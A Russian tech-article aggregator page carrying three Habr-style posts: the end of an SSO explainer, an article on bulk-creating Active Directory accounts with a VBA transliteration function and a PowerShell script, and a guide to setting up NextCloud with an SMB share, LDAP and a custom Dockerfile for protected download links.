  7. Токен, полученный провайдером услуг, подтверждается согласно доверительным отношениям, установленным между провайдером услуг и системой управления доступами во время первоначальной настройки.
  8. Пользователю предоставляется доступ к провайдеру услуг.

image

Если пользователь попробует получить доступ к другому сайту, то понадобится настройка подобных доверительных отношений в соответствии с методом SSO. Порядок аутентификации в этом случае будет состоять также из вышеизложенных шагов.


Что такое токен в контексте SSO?


Токен это набор информации или данных, который передается из одной системы в другую в процессе исполнения SSO. Данные могут быть просто email адресом и информацией о системе, отправившей токен. Токены должны обладать цифровой подписью для получателя, чтобы подтвердить, что он поступил из надежного источника. Сертификат для электронной подписи предоставляется во время первоначального этапа настройки.


Является ли технология SSO безопасной?


Ответом на этот вопрос будет "в зависимости от ситуации".


Есть несколько причин, по которым стоит внедрить SSO. Метод единого входа может упростить работу с логином и паролем, как для пользователя, так и для администратора. Пользователям больше не придется держать в голове все учетные данные, теперь можно просто запомнить один более сложный пароль. SSO позволяет пользователям намного быстрее получить доступ к приложениям.


SSO также сокращает количество времени, потраченного на восстановление пароля с помощью службы поддержки. Администраторы могут централизованно контролировать такие факторы, как сложность пароля и многофакторную аутентификацию (MFA). Администраторы также могут быстрее отозвать привилегии на вход в систему, если пользователь покинул организацию.


Однако, у SSO есть некоторые недостатки. Например, вероятно, вам захочется, чтобы определенные приложения оставались заблокированы/менее открыты к доступу. По этой причине важно выбрать то решение SSO, которое, к примеру, даст вам возможность запросить дополнительный фактор проверки аутентификации прежде, чем пользователь авторизуется или оградит пользователей от доступа к определенным приложениям пока не обеспечено безопасное соединение.


Как внедрить SSO?


Особенности внедрения SSO могут отличаться с учетом того, с каким именно решением SSO вы работаете. Но вне зависимости от способа, вам нужно точно знать какие цели вы преследуете. Убедитесь, что вы ответили на следующие вопросы:


  • С какими типами пользователей вы работаете и какие у них требования?
  • Вы ищете локальное или облачное решение?
  • Возможен ли дальнейший рост выбранной программной платформы вместе с вашей компанией и ее запросами?
  • Какие функции вам необходимы, чтобы убедиться в том, что процесс авторизации проходят только проверенные пользователи? MFA, Adaptive Authentication, Device Trust, IP Address Whitelisting, и т.д?
  • С какими системами вам необходимо интегрироваться?
  • Нужен ли вам доступ к программному интерфейсу приложения (API)?

Что отличает настоящую SSO от хранилища или менеджера паролей?


Важно понимать разницу между SSO (Технологией единого входа) и хранилищем или менеджерами паролей, которые периодически путают с SSO, но в контексте Same Sign-On что означает такой же/одинаковый вход, а не единый вход (Single Sign-On). Говоря о хранилище паролей, у вас может быть один логин и пароль, но их нужно будет вводить каждый раз при переходе в новое приложение или на новый сайт. Такая система попросту хранит ваши идентификационные данные для других приложений и вводит их когда это необходимо. В данном случае между приложением и хранилищем паролей не установлены доверительные отношения.


С SSO, после того, как вы вошли в систему, вы можете получить доступ ко всем одобренным компанией сайтам и приложениям без необходимости авторизовываться снова. Это включает в себя как облачные, так и локально установленные приложения, часто доступные через сам сервис SSO (также известный, как сервис авторизации).


В чем разница между программным обеспечением единого входа и решением SSO?


Изучая доступные варианты единого входа, вы можете увидеть, что их иногда называют программным обеспечением единого входа, а не решением единого входа или провайдером единого входа. Часто разница состоит лишь в том, как позиционируют себя компании. Фрагмент программного обеспечения предполагает локальную установку. Обычно это то, что разработано для определенного набора задач и ничего более. Программный продукт предполагает, что есть возможность расширяться и кастомизировать потенциальные возможности исходного варианта. Провайдер будет отличным вариантом, чтобы обратиться к компании, которая производит или пользуется программным продуктом. Например, OneLogin в качестве провайдера SSO.


Бывают ли разные типы SSO?


Когда мы говорим о едином входе (SSO), используется множество терминов:


  • Federated Identity Management (FIM)
  • OAuth (OAuth 2.0 в настоящее время)
  • OpenID Connect (OIDC)
  • Security Access Markup Language (SAML)
  • Same Sign On (SSO)

На самом деле, SSO это часть более крупной концепции под названием Federated Identity Management, поэтому иногда SSO обозначается, как федеративная SSO. FIM просто относится к доверительным отношениям, созданным между двумя или более доменами или системами управления идентификацией. Система единого входа (SSO) это характеристика/фича, доступная внутри архитектуры FIM.


OAuth 2.0 это особая программная платформа, которая также может считаться частью архитектуры FIM. OAuth фокусируется на доверительных отношениях, предоставляя доменам идентификационную информацию пользователя.


OpenID Connect (OIDC) это уровень аутентификации, наложенный на базу OAuth 2.0, чтобы обеспечить фунциональность SSO.


Security Access Markup Language (SAML) это открытый стандарт, который также разработан для обеспечения функциональности SSO.


image

Система Same Sign On, которую часто обозначают, как SSO, на самом деле, не похожа Single Sign-on, т.к не предполагает наличие доверительных отношений между сторонами, которые проходят аутентификацию. Она более привязана к идентификационным данным, которые дублируются и передаются в другие системы когда это необходимо. Это не так безопасно, как любое из решений единого входа.


Также существуют несколько конкретных систем, которые стоит упомянуть, говоря о платформе SSO: Active Directory, Active Directory Federation Services (ADFS) и Lightweight Directory Access Protocol (LDAP).


Active Directory, который в настоящее время именуется, как Active Directory Directory Services (ADDS) это централизованная служба каталогов Microsoft. Пользователи и ресурсы добавляются в службу каталогов для централизованного управления, а ADDS работает с такими аутентификационными протоколами, как NTLM и Kerberos. Таким образом, пользователи, относящиеся к ADDS могут аутентифицироваться с их устройств и получить доступ к другим системам, интегрированным с ADDS. Это и есть форма SSO.


Active Directory Federation Services (ADFS) это тип управления федеративной идентификацией (Federated Identity Management system), которая также предполагает возможность Single Sign-on. Он также поддерживает SAML и OIDC. ADFS преимущественно используется для установления доверительных отношений между ADDS и другими системами, такими как Azure AD или других служб ADDS.


Протокол LDAP (Lightweight Directory Service Protocol) это стандарт, определяющий способ запроса и организации информационной базы. LDAP позволяет вам централизованно управлять такими ресурсами, как пользователи и системы. LDAP, однако, не определяет порядок авторизации, это означает, что он не устанавливает непосредственный протокол, используемый для аутентификации. Но он часто применяется как часть процесса аутентификации и контроля доступа. Например, прежде, чем пользователь получит доступ к определенному ресурсу, LDAP сможет запросить информацию о пользователе и группах, в которых он состоит, чтобы удостовериться, что у пользователя есть доступ к данному ресурсу. LDAP платформа на подобие OpenLDAP обеспечивает аутентификацию с помощью аутентификационных протоколов (например, Simple Authentication и Security Layer SASL).


Как работает система единого входа как услуга?


SSO функционирует также, как и многие другие приложения, работающие через интернет. Подобные OneLogin платформы, функционирующие через облако, можно отнести к категории решений единого входа Software as a Service (SaaS).


Что такое App-to-App (приложение-приложение) SSO?


В заключение, возможно вы слышали о App-to-App SSO. Пока еще такой подход не является стандартным. Такое понятие больше используется SAPCloud для обозначения процесса передачи идентификационных данных пользователя из одного приложения в любое из других, состоящих в их экосистеме. В какой-то степени такой метод присущ OAuth 2.0, но хочется снова подчеркнуть, что это не стандартный протокол или метод. В настоящее время он является характерным только для SAPCloud.

Подробнее..

Автоматизируем ведение большого количества пользователей в AD

21.04.2021 20:21:36 | Автор: admin
Автоматизируем ведение большого количества пользователей в AD:

Добрый день! В этой статье я бы хотел описать применённое мной практическое решение по автоматизации одной рутинной задачи второй линии технической поддержки одного крупного предприятия.

Имеем два территориально распределённых домена AD по 10 000 человек, применённое решение по организации Веб-доступа к удаленным рабочим столам через приложения RemoteApp с несколькими интегрированными информационными системами и активно пополняющиеся база, человек так на 500 в месяц. На ~24 в рабочий день, на ~3 человека в час.

Первая очевидный вывод из входных данных на таком количестве пользователей один админ не справится, у него должно быть право заболеть/уйти в отпуск не парализовав предприятие. А практика показывает, что и два не справляются.

Вторая проблема идентификация личностей, допустим на файловых ресурсах предприятия, как это часто бывает, имеется информация, не предназначенная для посторонних глаз, и соответственно необходимо проверять каждого запросившего доступ на внесение в Active Directory и предоставления определённых групп доступа. К сожалению, без бюрократии в решении этого вопроса обойтись не удалось. Процедура сводится к подаче бумажной заявки в форме максимально стандартизированной, за подписью (желательно электронной) руководителя заявляющего и одобрением данного документа лицами знакомыми лично с подписантом.

После одобрения стандартизированной заявки остается дело за малым, внести людей в AD, присвоить необходимые группы доступа, и внести в excel табличку. Последний пункт может показаться немного архаичным, ведь AD вполне себе поддерживает аудит изменений, но моя практика показывает, что на таком обороте этот пункт не является лишним, а даже упрощает процесс поиска граблей в случае разбора полётов, который не редко возникает, следуя из первого вывода.

Но процесс можно немного автоматизировать, применив пару нехитрых скриптов. Логика сводится к обратному процессу:
1) Утверждаем стандарт внесения Учётных Записей в AD на предприятии
2) Запрашиваем у пользователя данные едином формате.
image
3) Вносим в таблицу основные данные, например:
4) Экспортируем из Excel в CSV файл, автоматически сгенерированную страницу, пригодную для автоматического занесения в AD при помощи скриптов
5) Экспортируем и вуаля! Остаётся передать логин и пароль пользователю.
Возможно описанные мной методы нельзя назвать best practice, однако они позволяют на практике решить существующую проблему без написания отдельно информационной системы и создания большого количества интеграций.

Далее я опишу пару технических моментов и опубликую скрипты которыми пользуюсь:
Так выглядит таблица пригодная для импорта в AD:

image
У меня эта таблица генерируется автоматически из предыдущей, пример прилагаю.
Сохранять таблицу пригодную для импорта необходимо в формате CSV (разделитель запятые)
image

Как вы думаете какими будут разделители если открыть сгенерированный файл блокнотом? Неправильно. Такими ;

Отдельно в моей реализации следует остановиться на столбце транслит. В утверждённом нами стандарте часть полей заполняется транслитом по утверждённому образцу и чтобы не делать это каждый раз я использовал vba скрипт, вот он:
Function TranslitText(RusText As String) As String    Dim RusAlphabet As Variant 'массив из букв русского алфавита    RusAlphabet = Array("-", "а", "б", "в", "г", "д", "е", "ё", "ж", "з", "и", "й", "к", "л", "м", "н", "о", "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш", "щ", "ъ", "ы", "ь", "э", "ю", "я", "А", "Б", "В", "Г", "Д", "Е", "Ё", "Ж", "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р", "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ", "", "Ь", "Э", "Ю", "Я")     Dim EngAlphabet As Variant 'массив из букв английского алфавита    EngAlphabet = Array("-", "a", "b", "v", "g", "d", "e", "yo", "zh", "z", "i", "y", "k", "l", "m", "n", "o", "p", "r", "s", "t", "u", "f", "kh", "ts", "ch", "sh", "sch", "", "y", "", "e", "yu", "ya", "A", "B", "V", "G", "D", "E", "Yo", "Zh", "Z", "I", "Y", "K", "L", "M", "N", "O", "P", "R", "S", "T", "U", "F", "Kh", "Ts", "Ch", "Sh", "Sch", "", "Y", "", "E", "Yu", "Ya")         Dim EngText As String, Letter As String, Flag As Boolean                 For i = 1 To Len(RusText) 'цикл по всем символам русского текста        Letter = Mid(RusText, i, 1)        Flag = 0        For j = 0 To 67 'цикл по всем буквам русского алфавита            If RusAlphabet(j) = Letter Then 'если символ из текста совпал с буквой из русского алфавита...                Flag = 1                If RusAlphabet(j) = Letter Then 'проверка на регистр (верхний или нижний)                    EngText = EngText & EngAlphabet(j) '... то добавляем соответствующую букву из английского алфавита                    Exit For                Else                    EngText = EngText & UCase(EngAlphabet(j))                    Exit For                End If            End If        Next j        If Flag = 0 Then EngText = EngText & Letter 'если символа из текста в алфавите нет (например, знаки препинания и т.п.), то добавляем символ без изменения    Next i    TranslitText = EngTextEnd Function


Не делайте как я, пожалуйста, используйте один из существующих стандартов транслитерации по ссылке habr.com/ru/post/499574

Следующий же скрипт помещённый в файл с расширением .ps1 позволит вам в пару кликов закинуть все учётные записи из сгенерированного на предыдущем шаге файла в AD, как бы много их там не было. А заодно и навесить на все созданные УЗ группу ad-group.
Import-Module activedirectory Import-Csv "C:\generated.csv" -Encoding default -Delimiter ';'| ForEach-Object {New-ADUser -Server DOMEN.RU -Name $_.FirstName `-DisplayName $_.DisplayName `-GivenName $_.GivenName `-Surname $_.LastName `-Initials $_.Initials `-OfficePhone $_.Phone `-Description $_.Description `-UserPrincipalName $_.UserPrincipalName `-SamAccountName $_.samAccountName `-Email $_.mail `-Path "OU=TEST_OU,OU=Guest,OU=Users,OU=DOMEN,DC=DOMEN,DC=RU" `-AccountPassword (ConvertTo-SecureString $_.Password -AsPlainText -force) -Enabled $true Set-ADuser $_.samAccountName -ChangePasswordAtLogon $True Add-AdGroupMember -Identity ad-group  -Members $_.samAccountName} 
Подробнее..

Из песочницы NextCloud в качестве сервиса по созданию защищенных ссылок

04.08.2020 14:20:22 | Автор: admin
Привет, Хабр! Хочу поделиться немного нетривиальным кейсом по настройке NextCloud в качестве сервиса по созданию защищенных ссылок, для прямого скачивания данных с подключенного сетевого smb\cifs-диска. Опишу решения нюансов, с которыми столкнулся во время настройки.

Зачем это надо?


Удобная доставка контента конечному пользователю, минуя возню с FTP и невозможность (из-за NDA) воспользоваться публичными сервисами и облаками для передачи файлов (BTsync, Google-\Mail-\Yandex-Disk\Dropbox\etc).





Предисловие


Наш офис имеет определенную инфраструктуру, в неё входит в том числе и ActiveDirectory, в которой у нас находятся сотрудники, состоящие в группах.

Во время сеанса работы за ПК, после логина, средствами настроенных политик, у каждого сотрудника монтируется сетевой диск. Через него время-от-времени идет обмен данными. В диске есть определенная структура папок, права на которые настроены через эти самые группы. Каждый видит то, что ему позволено настройками.

Обычно, для отдачи данных во внешний мир поднимается, либо отдельный FTP, либо данные выгружаются на уже имеющийся. Признаюсь, это далеко не всегда удобно как минимум, создание и управление временными логинами и паролями (например, когда партнёрам нужно отдать готовый контент), контроль места на FTP-сервере, ручная выгрузка на FTP-сервер перед отправкой.

В какой-то момент нам потребовалось иметь возможность напрямую отдавать конечным пользователям данные во внешний мир именно с нашего сетевого диска и, желательно, чтобы это было относительно безопасно: можно создать ссылку для скачивания (у нее имелось время жизни, пароль, разграничение прав на исходные данные и так далее).

На такую идею нас натолкнули одни из партнеров, так как у них имелся внутренний сервис, но там он был самописным.

Готовых вариантов с ходу в поисковике не нашлось (если у вас есть оные на примете отпишитесь, пожалуйста в комментариях), а тратить потенциально много человеко-часов на разработку с нуля, тестирование и поддержку не было желания и ресурсов ни у кого. Да и зачем изобретать велосипед, если зачастую все уже придумано до. Так на ум и пришел сервис NextCloud, который умеет подключать к себе внешние ресурсы.

Речь пойдет о последней стабильной, на данный момент версии 19, но наш метод настройки подойдет и для более ранних версий мы изначально реализовали это на 16 версии и потом постепенно обновлялись. Недавно я как раз поднимал его с нуля на последней (19), и опираясь на неё пишу статью.

Что мы хотим получить в конечном итоге:


  • Только сотрудники могут заходить в наш сервис и только через ActiveDirectoty\LDAP, точно так же как заходят на офисный пк, в Jira, Confluence, Nexus и пр.
  • После авторизации в веб интерфейсе NextCloud, сотруднику должен быть подключен наш сетевой диск, с точно такими-же правами, как это происходит при заходе с рабочего компьютера.
  • При первом входе в NextCloud у каждой учетной записи создаются файлы-примеры в домашнем каталоге, которые занимают места на диске. По хорошему, от этого надо избавиться.
  • Сотрудник не должен иметь возможность загружать что либо, как на подключенный диск, так и в аккаунт NextCloud .*Это просто наша хотелка, на самом деле она не обязательная.
  • Сотрудник может создавать временные ссылки, защищенные паролем на любые доступные ему ресурсы будь то папка или отдельный файл. А также управлять ими (ссылками) отзывать, менять срок жизни и прочее.
  • Конечному пользователю, кому отправлена защищенная ссылка, достаточно её открыть и ввести пароль, чтобы получить возможность скачать расшаренные ему данные.



Развёртка и настройка зависимостей


Для начала, нам надо иметь отдельную виртуалку или сервер, где можно установить операционную систему, и после NextCloud.

На Хабре есть не одна статья, посвященная развёртке системы и сервиса.

AlexanderS достаточно хорошо и подробно описал процесс от установки системы до самой настройки облака (включая актуализацию статей по годам). Не вижу смысла в очередной раз это всё повторять.

1. Так как мы подключаем в NextCloud сетевой диск, то нам понадобятся пакеты в систему: smbclient, libsmbclient , php-ldap, и php-smbclient.

Ремарка, на случай использования Docker
Если вы тоже используете докер, то напомню официальный образ не имеет на борту пакетов для работы с samba и вам лучше создать форк, установив их в своем DockerFile. И, согласно документации, установка пакета php-smbclient внутри их образа немного отличается от классического apt install package.

Пример DockerFile
FROM nextcloud:latestRUN apt update -y &&  apt install -y --allow-unauthenticated smbclient libsmbclient libsmbclient-devRUN pecl install smbclientRUN docker-php-ext-enable smbclient



2. Из-за особенностей настроек нашего сервера samba (отключена поддержка smb1), на машине с nextcloud, в файлах /etc/samba/smb.conf и /usr/share/samba/smb.conf пришлось поменять строки, отвечающие за протокол:

[global] client min protocol = SMB2client max protocol = SMB3

Продолжение примера DockerFile
RUN rm -frv /etc/samba/smb.conf /usr/share/samba/smb.confADD smb.conf /etc/samba/ADD smb.conf /usr/share/samba/


В ином случае, nextcloud так и не смог подключиться к диску.



Настройка nextcloud


Итак, Nextcloud уже установлен, зависимости поставлены, а в сервисе заведен один внутренний юзер, который создался во время установки.

Шаг первый. Подготовка шаблона аккаунтов сотрудников.


Поскольку у нас будет не один сотрудник в системе, а постепенно их количество будет меняться если заранее не настроить шаблон создаваемого пользователя у каждого будет в домашней папке несколько файлов-примеров. Хорошо что по этому поводу у nextcloud есть отдельная настройка skeleton files, которая настраивается в config.php.

  'skeletondirectory' => '/var/www/html/data/donotdeletme',

То есть, можно создать пустую папку и указать в конфиге полный путь к ней.

Шаг Второй. Делаем пользователей read-only


Достаточно указать квоту в 1 B (1 байт) в разделе настроек пользователей (http(s)://nextcloud.domain.tld/settings/users).

Шаг третий заранее чиним ZipStreamer


ZipStreamer библиотека, используемая в бекенде NextCloud, она служит для создания архивов на лету, то есть во время скачивания пачки файлов.



Как это работает
Если вы перейдя по шареной ссылке, нажали кнопку "Dowload All Files"/"Скачать все файлы", то вы заметите, что вам не показывается в браузере (или в менеджере загрузок) конечный вес архива, а полоса загрузки будет неопределенной.



Это связано с тем, что по этой кнопке система в режиме реального времени создает и отдает вам на скачивание архив (в большинстве случаев .zip, в редких кейсах .tar)

Кстати, в силу особенности этой технологии, возобновление приостановленных загрузок в этом случае невозможно.

Похожее поведение есть у и аналогичных сервисов: Google Drive, Яндекс.Диск, и т.д.

Проблема кроется в том, что по неизвестным причинам, заложенная в NextCloud логика сбоит, и при случае, если в папке больше 65536 файлов, и\или их общий вес будет превышать 4гб скорее всего вы столкнетесь с проблемой, что скачанный файл будет либо побит, либо загрузка будет прерываться после скачанных 4гб.

Данной проблеме выделяли достаточное время, на GitHub даже есть, и не один, закрытый тикет (#1755, #15871, #8798), но несмотря на то, что якобы проблема решена у нас она так и осталась, и с переменным успехом воспроизводилась, очень мешая работе. Пришлось решать её более радикально.

Решение
Поскольку у нас 100% 64хбитная система, то мы принудительно говорим библиотеке использовать 64х-битный режим. Решение в лоб.

<папка, где установлен nextcloud>/lib/private/Streamer.php:
- $this->streamerInstance = new ZipStreamer(['zip64' => false]);+ $this->streamerInstance = new ZipStreamer(['zip64' => true]);

Ремарка, на случай использования Docker
В официальном образе происходит при каждом запуске контейнера некий Integrity Check и из одного места в другое распаковываются оригинальные файлы поверх установленных( из /usr/src/nextcloud/* в /var/www/html/*).

Поэтому просто в лоб замапить файл в условном /var/www не получится при запуске файл либо перетрется оригиналом, либо контейнер запустится и упадет сразу с ошибкой.

Так что мы подменяем патченым файлом исходный в папке /usr/src/nextcloud/lib/private/ еще при сборке в CI нашего форкнутого образа. Получается, наш поправленный файл будет гарантированно всегда использоваться.

Продолжение примера DockerFile
RUN rm -frv /usr/src/nextcloud/lib/private/Streamer.phpADD Streamer.php /usr/src/nextcloud/lib/private/RUN chown nobody:nogroup /usr/src/nextcloud/lib/private/Streamer.php

Эти манипуляции, по крайней мере при использовании докер-образа, в Панели Администрирования точно завалят вам встроенную проверку на подлинность, имейте это ввиду.




Но лично нас пока это устроило.

Шаг четвертый настраиваем параметры ссылок


В параметрах публикации настраиваем правила так, как будет удобно. Например, делаем обязательную защиту паролем и ставим обязательный срок жизни.

Шаг пятый подключаем сетевой диск


  1. Переходим в настройку внешних хранилищ. (http(s)://nextcloud.domain.tld/settings/admin/externalstorages)
  2. Выбираем добавление CMB \ CIFS хранилища.
  3. Заполняем поля имени, домена, папки и тд.
  4. Выбираем Учетные данные, хранить в базе данных именно этот пункт позволяет при заходе пользователя по его связке логина и пароля подключать диск к его учетной записи в NextCloud. (Пункт хранение логина и пароля во время сессии не взлетел).
  5. Не забываем в меню <...> отметить чекбоксами Только чтение и разрешение предоставление общего доступа.

Шаг шестой запускаем пользователей через LDAP


Теперь, когда мы все подготовили ставим из маркетплейса плагин, и сразу после подключаем LDAP. В нашей системе, мы давали доступ сотрудникам, которые находятся в группе NextcloudAccess. Можете сделать аналогично.



Заключение


Всё, после всех этих нехитрых, но местами не самых очевидных манипуляций сервис работает, диск подключен, сотрудники добавлены, а пользователи качают и довольны.

Полный пример нашего DockerFile
FROM nextcloud:latestENV DEBIAN_FRONTEND noninteractive#installing smbclientRUN apt update -y &&  apt install -y --allow-unauthenticated smbclient libsmbclient libsmbclient-devRUN pecl install smbclientRUN docker-php-ext-enable smbclient#fix of ZipStreammerRUN rm -frv /usr/src/nextcloud/lib/private/Streamer.phpADD Streamer.php /usr/src/nextcloud/lib/private/RUN chown nobody:nogroup /usr/src/nextcloud/lib/private/Streamer.php#fix of smb configRUN rm -frv /etc/samba/smb.conf /usr/share/samba/smb.confADD smb.conf /etc/samba/ADD smb.conf /usr/share/samba/




Нагрузочное тестирование


Как дела с нагрузкой? спросите вы напоследок.

Замеры в час пик




Наш инстанс сервиса крутится на ~ 6Gb Ram + 6CPU в виртуальной машине среди других VM.

При пике нагрузки на сеть оперативной памяти использовалось чуть более 2.5Gb, процессор забит не был, а отдача в среднем была около 5Gbit/s (рекорд доходило и до 8Gbit/s).

Единственное, что заметили при отдаче сверх 6Gbit/s во внешний мир, у нас периодически отваливается web-интерфейс, но сами загрузки у пользователей продолжают идти.



Спасибо, что дочитали. Если у вас есть вопросы, замечания или пожелания не стесняйтесь, всегда рад конструктивной критике.



Проверено на: nextcloud 16, 17, 18, 19Дата написания: 26.07.2020Дата правок: 02.08.2020Что поправлено: Сделал кликабельные скриншотыВерсия: 1.0.0.5
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru